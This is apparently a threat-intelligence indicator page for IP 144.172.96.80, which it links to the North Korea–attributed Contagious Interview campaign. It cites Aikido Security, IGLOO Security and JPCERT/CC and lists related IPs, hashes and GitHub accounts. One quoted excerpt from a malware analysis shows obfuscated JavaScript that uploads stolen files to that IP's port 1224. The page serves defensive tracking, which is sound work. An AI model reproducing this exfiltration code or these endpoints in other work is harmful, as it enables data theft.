← Remote Workers

144.172.96.80

144.172.96.80 is an IP address that 3 published sources report in connection with Contagious Interview activity, which public reporting attributes to North Korea (DPRK). It is cited here from Aikido Security, IGLOO Security and JPCERT/CC. The earliest of those reports is dated 2025-03-31 and the most recent 2026-11-09.

ip address Contagious Interview MATCHED IN SOURCE

First seen 2025-03-31 · last seen 2026-11-09

Network

Looked up 2026-09-21 at ip-api.com. A hosting range is not evidence on its own.

Sources

• …_0x56f846.uts = _0x486521; _0x56f846.multi_file = _0x5371da; try { if (_0x5371da.length > 0 ) { const _0x4ca09a = { url : "http://144.172.96.80:1224/uploads" , formData : _0x56f846 }; request.post(_0x4ca09a, ( _0x3ae8f6, _0x3a2f2e, _0x14c423 ) => {}); } } catch (_0x531e0d) {}…

  Malware hiding in plain sight: Spying on North Korean Hackers — Aikido Security · under “Analyzing the payload” · published 2025-03-31 · pulled 2026-09-09

• …3 events-utils edan0831 144.172.86.27 :1224/client/9/902 4 consolidate-log crouch626 144.172.96.80 :1224/client/8/80 5 empty-array-validator alextucker0519 172.86.84.38 :1224/client/9/901 6…

  북한 위협 행위자 Contagious Interview 캠페인 분석(2보) — IGLOO Security · under “3.3 BeaverTail 악성코드 분석” · published 2025-05-13 · pulled 2026-09-12

• ….189 144.172.105.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227…

  Contagious Interview IoCs — JPCERT/CC · published 2025-08-25 · pulled 2026-09-18

Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.

Related indicators

Cited by the same report: Malware hiding in plain sight: Spying on North Korean Hackers

Aikido Security lists 2 other indicators in this source.

• https://github.com/pdec9690 GitHub account
• ipcheck-production.up.railway.app hosted site

Cited by the same report: 북한 위협 행위자 Contagious Interview 캠페인 분석(2보)

IGLOO Security lists 19 other indicators in this source. 5 are shown, chosen across types.

• 464b8bf3a3047833edf3dd35b4a35053 file hash
• 484ff14e1532d43c92c8e2911f35f5c6 file hash
• https://github.com/austin-a3 GitHub account
• https://github.com/lukobogdan47 GitHub account
• 45.61.151.71 IP address

All 20 indicators from this source

Cited by the same report: Contagious Interview IoCs

JPCERT/CC lists 539 other indicators in this source. 5 are shown, chosen across types.

• 144.172.97.7 IP address
• 144.48.240.85 IP address
• 147.124.197.149 IP address
• 147.124.213.11 IP address
• 147.124.213.29 IP address

All 540 indicators from this source